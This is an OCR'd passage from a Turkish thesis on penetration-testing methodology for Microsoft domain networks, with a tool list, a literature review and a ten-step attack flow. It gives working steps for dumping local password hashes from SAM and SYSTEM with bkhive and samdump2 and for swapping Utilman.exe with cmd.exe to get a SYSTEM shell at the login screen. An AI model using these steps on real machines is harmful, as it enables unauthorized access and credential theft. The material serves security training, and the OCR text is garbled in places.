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e Samdump?2 [77], Bkhive |78§]

o SET [79]

o Shellter [30]

e Shodan [81]

e Snmpbulkwalk [82]

e SnmpCheck [83]

o SNMPwalk [84]

e Sglemd [85]

e Sqlmap [86]

e SSL Strip [87]

e SSLscan 88|

e Sysinternals (psexec, procdump,...) [89]
e Telnet

e UPX [90], Mpress [91], PesPIN [92]
e Veil-Evasion [93]

o w3af [94]

e WCE [95]

e Whois

e Windows-Exploit-Suggester [96]

e Wireshark [97],Tcpdump [98]

e Wmic [99]
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2.7 Metasploit Framework

Sizma testlerinde kullanilan en énemli araclardan birisi olan Metasploit Framework
(MSF) [100], bir ¢ok sizma testi aracini ve modiiliinii igerisinde barindiran bir plat-
formdur. Bu araglar ile agikliklar tespit edilebilir, sistemler ile ilgili bilgi toplanabilir,

zafiyetler istismar edilebilir, zararl yazilimlar hazirlanabilir.

MSF tarafindan sunuculan msfconsole, armitage, msfcli adli bir ¢ok arayiizii vardir.
Metasploit Framework icerisinde en ¢ok destek goren ve tercih edilen arayiiz Msfcon-

sole‘dur.

Msfconsole, MSF igerisindeki modiilleri tek bir merkezden yénetmeye yarayan, iyi dokii-
mante edilmig ve igletim sistemi komutlarina (ifconfig, ping gibi) erigim saglayabilen

konsoldur.

Metasploit Framework tarafindan sunulan en énemli 6zellik Meterpreter adi verilen Pay-

load’dur.

Meterpreter RAM belleginde caligan ve disk iizerinde bir iz birakmayan, igletim sis-
temi komut satirindan gerceklestirilemeyecek iglemleri icerisindeki yiikledigi eklentiler
sayesinde kolay bir gekilde gerceklestirebilen, hedef ile arasinda gifreli bir kanal olugturan

ozel bir komut satiridir.

2.8 Tez Caligmasinin Kapsami

Etki alani ortamina gerceklestirilebilecek saldirilar ve bu saldirilara karsi alinabilecek
onlemler detayli olarak incelenmistir. Bu galigma da gosteriyor ki saldirilar ve alinacak
onlemler bir yarig igerisindedir. Alinacak her yeni énleme karsi farkli bir saldir1 yéntemi,
her yeni bir saldir1 yontemine karsi da yeni bir 6nlem ortaya cikmaktadir. Hazirlanan bu
caligmada hem etki alanina karg: gergeklestirilen saldirilar icin bir metodoloji sunulmusg

ve hem de saldirilara kargi alinmasi gereken 6nlemler anlatilmigtir.
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Kurumlarin ve organizasyonlarin bilgi giivenliginin saglanmasi konusunda birgok farkh
standart ve metolodoji aragtirmacilar tarafindan énerilmigtir. Bunlar: temel olarak agagi-

daki gibi ikiye ayrilabilir.

e Bir kurum giivenlik politikasinin geligtirilmesine (dokiimantasyonun yogun oldugu

ve kullanmica farkindahigimin artirilmasina) yonelik ¢aligmalar

e Kurumun biligim sistemlerine yonelik teknik calismalar

3.1 Kurumsal Bilgi Giivenligi ve COBIT

Bu caligmada [101] bilgi giivenligi kavramlarina genel olarak deginilmekle birlikte bilgi
glivenligini zaafa ugratan popiler tehditler agiklanmigtir. Kurumsal bilgi giivenligi ve
standartlar: kabaca degerlendirilmis ve kurumlarda risklerin 6nlenmesinde, bilgi giiven-
ligi farkindaliginin énemi ve olugturma yoéntemleri ile ilgili tavsiyeler sunulmugtur. Calig-
mada BGYS (Bilgi giivenligi yonetim sistemi) ve kurulum adimlari detayh bir gekilde
agiklanmig ve BGYS kurulumu icin gerekli faaliyetlerinin neler oldugu, nasil uygulandigi,
uygulamalar sirasinda karsilagilan sorunlar ve ig siirekliliginin saglanmasinda izlenen yon-

temler aciklanmigtir.

34
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3.2 Kurumsal Bilgi Giivenliginde Zafiyet, Saldir1 Ve Savunma

Ogelerinin Incelenmesi

Bu caligmada [102| kurumsal bilgi teknolojilerinde sik kargilagilan giivenlik sorunlari 6zel-
likle kk nedenleri iizerinde durularak teknik olarak incelenmigtir. Aragtirmada, bilgi
gilivenligi alaninda hizmet veren bir girketin 1998-2012 yillar arasindaki 39 miigteriye ait
glivenlik bulgulari, saha galigmalar: ve alaninda uzman kigilerin goriigleri kullanilmigtar.
Ozet olarak calismada, kurumsal bilgi teknolojilerinde yaygin bulunan zafiyetler ve bu

zafiyetlerin k6k nedenleri gruplandirilmigtir.

3.3 Siber Giivenligin Milli Giivenlik Acisindan Onemi ve
Alinabilecek Tedbirler

Bu ¢aligma [103] siber giivenlik kavraminin milli giivenlik agisindan 6nemine ve bu alanda
yapilmasi gereken elzem iglere deginmigtir. Siber saldirganlarca hedef alinabilecek {ilke
glivenligi agisindan kritik 6neme sahip altyapilar incelenerek Tiirkiye’de ve diinyada
yagannig gercek siber giivenlik vakalarina deginilmigtir. Deginilen gergek vakalarla siber
gilivenligin milli giivenligimize olan tehditler vurgulanmigtir. Sonrasinda iilkelerin siber
giivenliklerini saglama adina yaptiklar faaliyetlere deginilmistir. Ulkemizde siber giiven-
lik alaminda yuriitiillen ¢aligmalara; politika, yasal diizenleme, teknik ve idari sorum-
luluklar, giivenlik tatbikatlar1 ve caligtaylara yer verilmigtir. Son olarak kurumsal ve
ulusal diizeyde siber giivenlik alaninda alinabilecek onlemler genel cerceveden bakilarak

siralanmugtir.

3.4 Kurumsal Bilgi Giivenligi Ve Standartlar1 Uzerine Bir

Inceleme

Bu ¢alismada [104] genel hatlariyla kurumsal bilgi giivenligini incelenmistir. Kurumsal
bilgi giivenligi bilincinin geligtirilmesi i¢cin kurumlar ve ¢aliganlarin giivenlik konusundaki
bilgi seviyesinin arttirilmasi amaglanmigtir. Caligmada ayrica yeni cikan standartlar

hakkinda bilgilere yer verilmigtir.
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3.5 Sizma Testi Metodolojilerinin Sec¢imi: Karsilastirma ve
Gelisimi (Selection of Penetration Testing Methodolo-

gies: A Comparison and Evaluation)

Bu c¢aligmada [105] Open Source Security Testing Methodology Manual (OSSTMM),
Information Systems Security Assessment Framework (ISSAF), Open Web Application
Security Project (OWASP), Metasploit Framework (MSF), and Building Security in
Maturity Model (BSIMM) Penetration Testing Execution Standard (PTES) olmak iizere
6 adet sizma testi anagatisi ve/veya metodolojisi incelenmisg ve bir fark analizi ortaya
konmugtur. Bu 6 metodolojiden sizma testlerine 6zel olarak bir anagati sunan ISSAF
ve OWASP-TG secilerek 6 adet metrige gore kiyaslanarak birbirine gore iistiinliikleri ve

zayifliklar: belirtilmigtir.

3.6 Mobil Bankacilikta Giivenlik Sorunlarin Analizi

Bu ¢alisma [106] mobil bankacilik alaninda karsilagilan giivenlik sorunlarini hem banka
acisindan hem de misgteri acisindan arastirmugtir. Calismada veri tabani sunucularinin
ve glivenlik duvari cihazlarinin olay kayitlarini ve ag trafigini yakalayan Wireshark prog-
ram1 kullamilmigtir. Aragtirmada bankacilik tarafinda gerceklegtirilen analizler; mobil
bankacilik kullamiminda giivenlik duvarina diigen saldirlarin analizi ve veri tabamindaki
mobil bankacilikta kullanilan kimlik tanimlama metotlarinin incelenmesinden olugsmak-
tadir. Miisteri tarafina iligkin gerceklegtirilen aragtirmalar; oltalama saldir1 analizi ve

aragtirmasi kapsaminda geligtirilen anketin analizinden olugmaktadir.

3.7 Ag Giivenlik Parametreleri ve Optimizasyonu (Network

Security Parameters And Their Optimization)

Bu caligma [107] kurumlarin ag yonetiminden sorumlu ¢ahiganlarina, temel ag giivenligi
ve yaygin ag givenlik acikliklar uygun bir sizma testi metodolojisiyle agiklamay: hedef-
lemigtir. Aymi zamanda, bir sizma testinde kullanilan agik kaynakh port tarayicilari,
glivenlik agig1 tarayicilary, zafiyet istismar eden araglar listelenmigtir. Nmap, Nessus

ve Metasploit gibi yazilimlar ¢aligma kapsaminda kullanmilmigtir. Calismada agikliklarin
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simanabildigi bir adet giivenlik duvar: ve iki farkli sanal agdan olugan bir ortam olustu-

rulmugtur.

3.8 FreeBSD: Sizma Testlerinde Saldirilar ve Zafiyetler (At-
tack and Vulnerability Penetration Testing: FreeBSD)

Bu ¢aligmada [108], FreeBSD igletim sistemine niifuz etmenin bazi adimlar1 bir takim
araclarla kegif, kaba kuvvet ve yetkili erigimi kazanma saldirilar1 diizenlemistir. Tim bu
saldirilarla bu alanda caliganlara kendi internet sistemlerinin giivenligini test etmek igin

referans sunulmugtur.

3.9 Ortak Kullanilan Kablosuz Aglarda Oturum Calma (Ses-
sion Hijacking in WLAN Based Public Networks)

Bu ¢alismada [109] halka acik alanlardaki kablosuz aglarin kotii niyetli kigilerce nasil kul-
lanicilarin oturumlarini ¢calmakta kullanilabilecegi izerinde durulmugtur. MAC adres ko-
rumasinin yeterli olmadigi, saldirganin kolaylikla kendi MAC adresini degigtirerek saldir
yapabilecegi ve boylelikle amacina ulagabilecegine deginilmigtir. Calismada Kali igletim
sistemi kullanilmig ve halka acik aglarda kullanicilarin oturum bilgileri elde edilmigtir.
Sonug olarak, yazar bu kablosuz aglarda mahrumiyete dikkat ¢ekmekte ve alinabilecek

onlemleri siralamaktadar.

3.10 Kurumsal Bilgi Giivenligi Ve Sizma (Penetrasyon) Test-

leri

Bu ¢aligmada [110] bilgi giivenligi genel olarak incelenmis ve 6zel olarak yiiksek saldir:
potansiyeli olan web uygulamalari {izerine odaklanilmigtir. Yapilan incelemede web or-
tamlarinda biiyiik tehdit olugturan SQL enjeksiyonu konusu detayl olarak degerlendirilmis
ve bu tip saldirilarin 6nlenmesi adina alinmasi gereken onlemler sunulmugtur. Tam

olarak biligim sistemlerinin giivenliginin saglanmasinda énemli bir faktér olan kullanici
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bilinglendirmesi kavramlar tekrar gézden gecirilmis ve sizma testlerinin belirtilen bu fak-
torler {izerindeki etkisi aragtirilmigtir. Tespit edilen tehditlerin giderilmesine ve mevcut

durumun iyilegtirilmesine yonelik ¢oziim 6nerileri sunulmustur.

3.11 Banner Grabbing ile Zafiyet Kesfi (Vulnerability De-

tection Tool Using Banner Grabbing)

Bu c¢aligmada [111] ag servislerinde agikliklar: kegfetmek i¢in banner grabbing yéntem-
ini kullanilmigtir. Oncelikle agdaki aktif servislerin kesfi gerceklegtirilmis ve daha son-
rasinda servislerde zafiyetler “National Vulnerability Database” agiklik veri tabaniyla
kargilagtirilmigtir. Arastirmada, test ortaminda yapilan degerlendirmeler sonucunda bu
yontemle aciklik barindiran servisler tespit edilip bu sistemlerin yoneticilerine ve bilgi

giivenliginden sorumlu kigilere raporlanmigtir.

3.12 Bilgisayar Sistemleri icin Secilmis Sizma Testi Yak-
lagiminin Uygulamasi (Application of the Selected Pe-
netration Testing Approach for Computer System)

Bu ¢aligmada [112] kara kutu yontemi ile sizma testi gerceklestirme prosediirii detayl
olarak incelenmigtir. Sizma testleri icin iicretsiz araclar ve yazilimlarla bu siireclerin nasil
gerceklegtirilebilecegi uygulamalariyla sunulmugtur. Bunun yani sira sunulan acikliklarin

nasil kapatilacag ile ilgili bilgilere de yer verilmigtir.

3.13 Otomatik Saldir1 Planlama (Automated Attack Plan-

ning)

Bu galigmada [113] sizma testlerinde gergeklestirildigi gibi, herhangi bir insan giiciine
gereksinim duymayan otomatik saldirilar iireten bir sistem tasarlanmigtir. Caligmada
sizma testlerinde oldugu gibi bilinen ardisik atak adimlar: belirlenmis ve tasarlanan sis-

tem tarafindan otomatik olarak ataklar denenebilmektedir.
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3.14 Eglence ve Kar Amaciyla Siber Saldir1 Simiile Etme
(Simulating Cyber-Attacks For Fun And Profit)

Bu ¢aligmada [114] siber saldirilar i¢in kullamlmak tizere saldirgan bakis agisiyla bityiik
bir alt yapi olugturulmustur. Saldir1 senaryolar1 6zellikle gercek diinyada kullanilan
sifirinci giin agikliklarindan ve siklikla goriilen yanhg yapilandirmalardan kaynakli tehdit-
lerden olusmaktadir. Caligmada sistem kullanicisina bir ¢ok sistemden olugsan karmagik

sizma saldirisi olugturma ve test etme gansi sunulmustur.

3.15 Faz Bazhi Aciklik Analizi Yaparak Sanal Sizma Test-
leri Gergeklestirmek (Virtual Penetration Testing with
Phase Based Vulnerability Analysis)

Bu ¢aligmada [115] sizma testlerindeki zaman dogruluk, testi yapan kiginin yetenegi gibi
kisitlar: en aza indirmek igin sizma testlerinin gerceklegtirilebilecegi belirtilmigtir. Sizma
testleri ile istismar edilebilir acikliklarin tespiti ve agikliklarin 6nceliklendirilmesi icin
bir saldir1 modeli énerilmigtir. Onerilen model Pfsense, Snort, ModSecurity, Microsoft
Security Essentials, OSSEC, EMET vb. kontrollerin ve kurumsal ortamda bulunan web
sunucusu, DNS sunucu, istemci vb. sistemlerin hedef olarak belirlendigi laboratuvar
ortaminda denenmigtir. Sonucta da kesgfedilen zafiyetlere kargi gerceklestirilen saldirilarin

bagar: olanlar: listelenmigtir.

3.16 Sizma Testleri Icin Bir Model Ag Uzerinde Siber Saldir:

Senaryolarinin Degerlendirilmesi

Bu caligmada [116] sizma testlerinin 6nemini vurgulamak igin sizma testlerinin yapila-
bilecegi bir ortam iizerinde saldir1 senaryolar: degerlendirilmigtir. Geligtirilen uygulama
ortamu ile gercek hayatta karsilagilan saldirilarin uygulamas: yapilarak sizma testi yapil-

mamig sistemlerde giivenligin nasil atlatilabildigi, sistemlere nasil sizildigi gésterilmigtir.
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3.17 Gelismis Hedef Odakli Siber Saldirilar

Bu galigmada [117] siber giivenligi saglama adina bir arag olarak kullanilabilecek sizma
testlerini gergeklegtirecek giivenlik uzmanlar1 yetigtirmek igin bir sanal ortam olugtur-
mugtur. Olugturulan bu sanal ortam kapsaminda, bir kurum aginda yer alan temel
bilegenler Vmware Workstation, Dynamips ve Dynagen platformlar: kullanilarak gergek-
lenmistir. Ayrica caligmada sizma testlerinde kullanilmak tizere, dért adimdan olusan bir
sizma testi metodolojisi dnerilmis ve detaylandirilmigtir. Bu caligmada, web uygulama
testleri, kablosuz ag testleri, sosyal miithendislik testleri ve istemci tabanli testlerin yani
sira; yonlendirici, giivenlik duvari, saldir1 tespit sistemleri, veri tabani yonetim sistemleri,
web uygulama giivenlik duvari ve VolP haberlesme ag1 gibi bilegenlere yonelik testler de
gerceklegtirilmigtir. Sonug olarak sizma, testleri alaninda uzmanlagmak isteyen kigilere
bir altyapi sunulmug ve bu alt yapi ile en yaygin saldir1 tiirlerini 6grenme ve bu saldirilar:

gerceklegtirme imkani saglanmigtir.

3.18 Siber Giivenlik Acisindan Sizma Testlerinin Uygula-

malar ile Degerlendirilmesi

Bu ¢aligmada [118] sizma testlerinin 6neminin vurgulanmak i¢in zafiyet barmdiran servis
ve sunucu kurulumlar: hazirlanmig ve sizma testleri icin uygulama benzetimi hazirlan-
migtir. Geligtirilen prototip ile sonug olarak, prototip {izerinde yapilan deneysel ¢alig-
malar ile sizma testlerinin énemi ortaya konmus ve bu konuda farkindalik énerileri sunul-

musgtur.

3.19 Windows Kimlik Bilgisi Hirsizlig1: Yontemleri ve On-
lemleri (Windows Credential Theft: Methods and Mi-

tigations)

Bu ¢alismada [119] Windows igletim sisteminde kimlik bilgilerinin nasil elde edilip kul-
lanilabilecegi ve bu yontemlere karsi ne gibi énlemler alinabileceginden bahsedilmigtir.
(Caligma oncelikle kimlik dogrulamas1 mekanizmas: ve kimlik bilgilerinin nasil kullanila-

bildigi 6zetlenmigtir. Aragtirmada, kimlik bilgilerinin 6zet ve acik metin olarak nasil
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ve hangi araglar ile elde edilebilecegi detayli olarak incelenmis olup araclarin birbirine
olan iistiinliikleri listelenmigtir. Son olarak da kimlik dogrulama bilgilerinin elde edilme

riskini azaltmak icin gergeklegtirilebilecek 6nlemler siralanmigtir.

3.20 Windows Kimlik Dogrulamasi Giivenlik Fonksiyonu:
Tehditler ve Onlemlerin Kontrol Listelerine Uyarlan-

masi)

Bu c¢alismada [120] Windows igletim sisteminin kimlik dogrulama mekanizmasim at-
latmaya yonelik saldirilar ve bu saldirilara yonelik alinabilecek 6nlemler incelenmigtir.
Aragtirmada éncelikle Windows kimlik dogrulama mekanizmasi incelenmigtir. Sonrasinda
kimlik dogrulama mekanizmasina yonelik olarak saldir1 adimlar: siralanmig ve her adimin
CAPEC kriterlerine gore karsilik gelen maddesi ile eglegtirilmistir. Sonraki baghklardaysa
saldirilara kargi alinabilecek énlemler siralanmig ve 6nlemler CIS dokiimanlarinda karsilik

gelen sikilagtirma maddeleri ile eglestirilmigtir.

3.21 Hazirlanan Calismanin Diger Calismalardan Farklilik-

lari

Yukarida yapilan ¢aligmalarin hicbirisinde sizma testlerinde 6nemli bir yeri olan Microsoft
etki alan1 ortami sizma testleriyle ilgili detayli bir metodoloji sunulmamigtir. Yukarida

yapilan ¢aligmalarin temel 6zellikleri agagidaki gibi listelenebilir.

e Bazi caligmalarda bilgi giivenligi konusuna teorik, denetimsel veya yonetimsel gergeve-
den bakilmakta olup uygulama odakl herhangi bir ¢alisma yapilmamakta veya
sizma testlerine yonelik uygulamali bir metodoloji sunulmamaktadir. Bu calig-

malarin bir kisminda ise ¢esitli metodolojiler karsilagtirilmigtir.

¢ Bir takim caligmalarda ise web, mobil, UNIX kablosuz ag giivenligi gibi sizma testi
kategorileri iizerinde uygulamali ¢calismalar gerceklegtirilmigtir. Bunun yaninda
belirtilen kapsamlardaki saldirilara yonelik alinabilecek temel 6nlemleri inceleyen

calismalar da hazirlanmistir.
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e Bazi caligmalarda ise, sizma testlerinin kategorileri genel olarak incelenmis ve bir

simiilasyon ortaminin {izerinde uygulamali olarak bir takim ornekler sunulmustur.

e Bu tezde incelenen konuya en yakin olarak sayilabilecek son iki ¢caligmada ise Win-
dows igletim sistemine 6zel kimlik dogrulama akigina yonelik zafiyetlerin istismar-

lar1 ve sikilagtirma onerilerini listelenmigtir.

Yukarida belirtilen caligmalar bagta olmak iizere, sizma testlerine yonelik farkindalik
glin gectikce artmaktadir. Hazirlanan bu tez de yukaridaki ¢aligmalar gibi bilgi giivenligi
konusunda hazirlanmig olmakla birlikte, literatiirde eksik kalmig olan Microsoft etki alan
ortamina yonelik sizma testi adimlari igin bir metodoloji sunulmug ve gerceklestirilebile-

cek bu saldirilara yonelik ¢6ztim yontemleri anlatilmigtir.



Bolum 4

Kurumsal Aglarda Microsoft Etki
Alam1 Sizma Testi Metodolojisi ve

Saldir1 Teknikleri

Giiniimiizde merkezi yonetimi kolaylagtirmak ve kurum igindeki sistemlerin giivenligini
saglamak amaciyla Microsoft tarafindan sunulan Etki Alam (Domain) yapist kullanil-
maktadir. Etki alani giivenli bir gekilde yapilandirilmaz ise, merkezi yapinin yonetimi
saldirganlarin eline gegebilir ve biiyiik zararlara sebep olabilir. Etki alani sizma test-
leri i¢in - zorunlu olmamakla birlikte - kurum sistem yoneticilerinden cesitli taleplerde

bulunulabilir. Bu taleplerin en 6nemli iki tanesi agagidaki gibidir.

o Kurumda yeni ige baglamig bir personele verilen standart haklara sahip etki alani

kullanicis1 hesabi

o Kurumda yeni ige baslamig personele verilebilecek ve etki alanina dahil olan stan-

dart bir kurum bilgisayari

Bu talepler karsilandiktan sonra, etki alani sizma testine baglanabilir. Etki alani sizma
testleri 10 adimda gerceklegtirilebilir. Bu adimlar Sekil 4.1’deki akig icerisinde goste-

rilmigtir.

Akig icerisinde de goriildiigii gibi, saldirilarin iki temel baglangi¢ noktas: bulunmaktadir.
Bu noktalardan ilki, fiziksel giivenligin atlatilarak kurum bilgisayarinda yerel yonetici

43
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01 - Fiziksel giivenlik atlatilir. 07 - Ag kesfi gerceklestirilir.

02 - Windows bilgisayara erigim 08 - Zafiyet ve konfigiirasyon
saglanir. taramasi gerceklestirilir.

09 - Ag lzerinde kritik bilgi tespit
edilir.

03 - Hak yiikseltilir. AV Atlatma _""'"'"""""""""

04 - Windows bilgisayarda kritik 10 - Erisim saglanabilecek Windows
bilgi tespit edilir. . : bilgisayarlar tespit edilir.

Kritik hesaplara v 06 - Yeni aga gecis saglanir.
ait erisim bilgileri
elde edildi mi?

Temizlik

05 - Siireklilik saglanir.

SEKIL 4.1: Etki Alam1 Sizma Testi Metodolojisi

haklarina sahip olunmasidir. Tkinci baslangic noktas: ise erisim saglanabilen ag iizerinden
bilgi toplanarak zafiyetlerin tespit edilmesi ve bu zafiyetlerin istismari ile ag iizerindeki
diger Windows bilgisayarlara erigim saglanmasidir. Erigim saglanan her bilgisayardan
daha sonraki adimlarda kullanilabilecek ve degerli olabilecek yeni bilgiler elde edilmeye
caligihr. Eger erigim saglanan bu bilgisayarda Microsoft etki alaninin yénetimi icin gerekli
haklar elde edilebildi ise - 6rnegin etki alam yoneticisi hakki elde edilebildi ise - etki
alan1 sizma testinin en 6nemli agamalarindan birisi tamamlanmigtir denilebilir. Eger
hedefe ulagilamamig ise, mevcut agda ve erigim saglanabilen ek aglarda, ele gecirilen
bilgisayarlardan elde edilen yeni bilgilerle tekrardan ikinci baglangic noktasindaki adimlar
gerceklegtirilir ve zafiyetler istismar edilerek ag lizerindeki bagka bilgisayarlara erigim

saglanir.

Etki alani sizma testleri sirasinda ¢ok biiyiik olasilikla istemcilerdeki koruma sistemlerini
atlatma geregi duyulur. Koruma sistemlerini atlatmak icin de gesitlik teknikler bulun-
maktadir. Bunun yaninda sistemleri ele gecirme sirasinda veya sonrasinda kullamilan
zararlt yazilimlar, arka kapilar, kullanicilar gibi tiim degigikliklerin not edilmesi ve sizma
testi sonrasinda bu degisikliklerin eski haline dondiiriilmesi / temizlik yapilmasi ve sistem

yoneticilerinin durumdan haberdar edilmesi unutulmamalidir..

Etki alan1 yonetimi elde edildikten sonra, bir taraftan Windows ve etki alani denetim-

leri gergeklestirilir, diger taraftan da diger sizma testleri (ag, web, veri tabam, sosyal
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miihendislik gibi) icin ek bilgiler ¢ikt1 olarak verilir. Benzer olarak da, diger sizma test-

leri sirasinda elde edilen bilgiler de etki alani sizma testine girdi olarak kullanilabilir.

Etki alami sizma testlerinin adimlari birbirinden farkli yontemlerle gergeklegtirilebilir.

Her bir adim icin kullamlabilecek cesitli yontemler agagidaki bagliklarda anlatilmigtir.

4.1 Fiziksel Giivenligi Atlatma

Kurumlardaki bilgisayarlarin fiziksel giivenligi kritik 6neme sahiptir. Windows ve etki
alan1 sizma testlerinin baslangic noktalarindan birisi de fiziksel giivenligin bir gekilde
atlatilarak, bilgisayarin disk sistemine erigim saglanmasidir. Fiziksel erigim saglanan
bir bilgisayar, USB veya CD-ROM aygitlarina takilan bir canhi (live) bir igletim sistemi
ile agilabilir. Ancak bu bilgisayarda cesitli sikilagtirma iglemleri gerceklestirilmis ise,
bilgisayar, bu igletim sistemi ile baglatilamayabilir. Sabit diskin gifrelenmedigi bu gibi
durumda, bilgisayarin sabit diski ¢ikartilarak Dock Station gibi cihazlarla disk sistemine
erigim saglanmasi veya boot iglemi gerektirmeyen yontemlerin tercih edilmesi gereke-

bilmektedir.

Fiziksel giivenligin atlatilmasina ait yontemler, iki ana alt baglikta incelenebilir.

4.1.1 Disk sistemine erigim

Bilgisayarin disk sistemine erigim saglanarak yerel hesaplara ait bilgiler elde edilebilir.
Bu bilgiler disk sistemi {izerindeki herhangi bir bilgi veya dizin (C:\Users altindaki
kullanicalarin Desktop veya Downloads dizinleri) olabilecegi gibi; SAM veya SYSTEM
dosyalar1 veya bu dosyalardan elde edilen yerel hesaplara ait parola 6zetleri de olabilir.
Isletim sistemi calisiyorken, SAM ve SYSTEM dosyalarma disk iizerindeki yerlerinden
(C:\Windows\System32\config dizini altindan) erigim saglanamaz. Bu dosyalar1 kopya-
lamanin en temel yollarindan birisi, bilgisayara fiziksel olarak erigim sagladiktan sonra
NTFS okuyabilen ancak NTFS ile formatlanmamig canli bir igletim sistemi (Live Linux

ISO gibi) ile Sekil 4.2°deki gibi disk sistemine erigmektir.

SAM ve SYSTEM dosyalarina erigim saglandiktan sonra uygulanabilecek yontemler
agagidaki gibidir:
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config

File Edit View Go Bookmarks Help

Laiia < )16 GB Filesystem Windows System32 -:-.7: @ | Q search

= O SR 11de-8d1d-001e...

| Floppy Drive

Computer |

5 Home DEFAULT.LOG?2 SAM SAM.LOG SAM.LOG1

Desktop

|#] File System - == |- —

= SAM.LOG?2 SECURITY SECURITY.LOG SECURITY.LOG1

@& Trash

MNetwork

5 Brow ; ) ?

= Browse Net... SECURITY.LOG?2 SOFTWARE SOFTWARE.LOG SOFTWARE.LOG1
| | ] —

SOFTWARE.LOG?2 SYSTEM SYSTEM.LOG SYSTEM.LOG1

SYSTEM.LOG2

SEKIL 4.2: SAM ve SYSTEM Dosyalar1

Yontem - 1: Linux samdump2 ve bkhive araglar ile yerel hesaplara ait parola zetleri
Sekil 4.3’te goriildiigi gibi elde edilebilir [121].

:~/Desktop# bkhive SYSTEM SAM_Anahtari
bkhive 1.1.1 by Objectif Securite
http: //www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : CMI-CreateHive{2A7FB991-7BBE-4F9D-B91E-7CB51D4737F5}
Default ControlSet: 001
Bootkey: c3d7a966530a22b381ee58aldd
:~/Desktop# samdump2 SAM SAM_Anahtari
samdump2 1.1.1 by Objectif Securite

http: //www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : CMI CreateH1ve{C4E7BA2B 68E8 499C B1A1-371AC8D717C7}
Administ 0 +aad3b435b51404e 51404ee:31d6cfeldlbs b73c

35b51404ee

onetici:1001:aad3b435b5 35b51404ee: 47bT8039a8506cd67¢c524a03
ff84bade: : :

SEKIL 4.3: Linux samdump2 ve bkhive Araclari ile Parola Ozetlerinin Elde Edilmesi

Yontem - 2: Linux Ophcrack arac ile yerel hesaplara ait parola 6zetleri Sekil 4.4’te

goriildiigii gibi elde edilebilir.
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ophcrack
\‘- e g L____/ e j O] @
Load Delete  Save Tables Crack Help Exit About

Progress | Statistics = Preferences

User b LM Hash MT Hash LM Pwd 1 LM Pwd 2
*disabled* Administrator 31d6cfe0dl6ae931b73c59d7e0c089c0
_*disabled“ Guest 31d6cfe0d16ae931b73c59d7e0c089¢c0
Yonetici 47bfB8039a8506cd67c524a03ff84bade
] m [?
Table Directory Status Progress

SEKIL 4.4: Ophcrack Araci ile Parola Ozetlerinin Elde Edilmesi

Yukarida belirtilen yontemler ile tiim disk sistemine (C, D, E,...) erigim saglanabilir.
Ozellikle SAM ve SYSTEM dosyalarina erisim saglanarak diger adimlar icin énemli bir

bilgi saglanmig olur.

4.1.2 Oturuma erigim

Bilgisayarin disk sistemine gevrim digi olarak erigim saglandiktan sonra, gegitli hileler
(trick) kullamilarak, Windows komut satirima SYSTEM haklari ile erigim saglanmaya
caligthr. SYSTEM haklar ile elde edilen komut satirinda yeni bir yerel yonetici olug-
turularak Windows igletim sistemine olugturulan yerel yonetici haklar ile oturum elde
edilir. Bir diger yol da mevcut igletim sisteminde yerel yonetici hesabina ait parolanin

sifirlanmasidir.
Oturuma erigim icin uygulanabilecek yontemler agagidaki gibidir:

Yontem - 1: Isletim sistemi yiiklenmeden once Linux isletim sistemi ile disk siste-
mine erigim saglanir. Sonrasinda ise Windows oturum ac¢ma ekranindaki uygulamalar
veya ikonlara ait galigtirilabilir dosyalarin (sethc.exe, utilman.exe, magnify.exe, osk.exe,
narrator.exe) bir kopyas: alinir (Utilman _orijinal.exe gibi) ve Windows komut satirimn

(cmd.exe) bir kopyast Sekil 4.5’te goriildiigii gibi bu uygulamanin ismi ile kaydedilir.

Yontem - 2: Windows isletim sisteminde gerceklestirilen bazi sikilastirmalar sebebi

ile Linux gibi bir igletim sistemi kullanilarak baglatilamayabilir. Bu gibi bir durumda
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Teknikler: 48
L
System32 - | 8 X
File Edit View Go Bookmarks Help
q | |
Devices < |l 16 GB Filesystem @ 5 q Search |
016 GBFi.. =
= = s,
= Floppy Drive - ‘ & Q
Computer uspl0.dll utildLL.dll Utilman.exe

& Home
Desktop

& File System - uudf. dit UXInit.dlL uxlib.dll

41

SEKIL 4.5: Utilman Hilesi

Baglangi¢ Onarimi (Launch Startup Repair) ozelligi kotiiye kullanilarak, Windows igle-

tim sisteminde oturum agilabilir. Bilgisayar yeniden baglatilirken, isletim sistemi yiiklen-

mesi sirasinda zorla bilgisayar yeniden baglatilhirsa “Windows Error Recovery” ekrani ile

kargilagihir ve Windows igletim sistemi Launch Startup Repair modunda acilmasi icin bir

oneride bulunur. Bir siire sonra ¢ikan ekrandaki bir baglant: ile igletim sistemindeki bir

metin dosyas: acilabilir. Boylece Sekil 4.6’da goriildiigii gibi disk sistemine erigim saglan-

mig olur. Bir 6nceki yontemde de belirtildigi gibi bir takim caligtirilabilir dosyalarda

(sethc.exe, utilman.exe, magnify.exe, osk.exe, narrator.exe) degisiklik yapilabilir.

T

File Edit Format Yiew Help

WHAT THIS FEAT
The mMicrosoft
The Microsoft
INFORMATION CO
Many Microsoft
The reporting
where the
The type
Files tha

Basic sof
Possible

PR

These reports

If an error re
[l

windows 7 offline Privacy sStatement for the Microsoft Error Reporting Si

For the most up-to-date privacy information, see the online windows 7 P

hrep://go. micr I

-

Look in: I & System32 j @ [I 5. BB

Name ~ | | Date modified | =] Type |
,3, cmcfg32.di 7/13/2009 5:40 PM  Application exte..
nd 7f PM Application

|%)| cdial32.dll 7/13/2009 5:40 PM  Application exte,, —

@cmdk.ey 7/13/2005 5:39PM  Application
glcmdlﬂ 7f13/2008 5:39PM  Application
%] cmicryptinstal.dil 7f13/2002 5:40 PM  Application exte..

ifw.dll 7/13/2002 5:40 PM  Application exte..
%] cipnpinstall. dil 7/13/2002 5:40 FM  Application exte..
%] emlua.dil 7/13/2002 5:40PM  Application exte..
&8 cmmon32 7/13/2009 5:33PM  Application
,3, cmpbk32.dll 7/13/2009 5:40 PM  Application exte..
s cmstp 7132009 5:329PM  Application
& cmstplua.dil 7/13/2009 5:40 FM  Application exte..
%] cnutil. dil 7/13/2008 5:40 PM  Application exte..
r:iéa‘l rnnaudit.dll 71342009 5:40 PM__ Annlication Pwti.l;l
4 »

File name: Icmd

Files of type: |4l Files

Encoding: JAnsi

Lef Lo L
i

SEKIL 4.6: Launch Startup Repair Ozelligi
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Tki yontemden birisi uygulandiktan sonra bilgisayar yeniden baglatildiginda Windows
oturum acma ekranindaki bu uygulamalar baslatilarak komut satiri elde edilebilir ve

yeni bir yerel yonetici olugturulabilir.

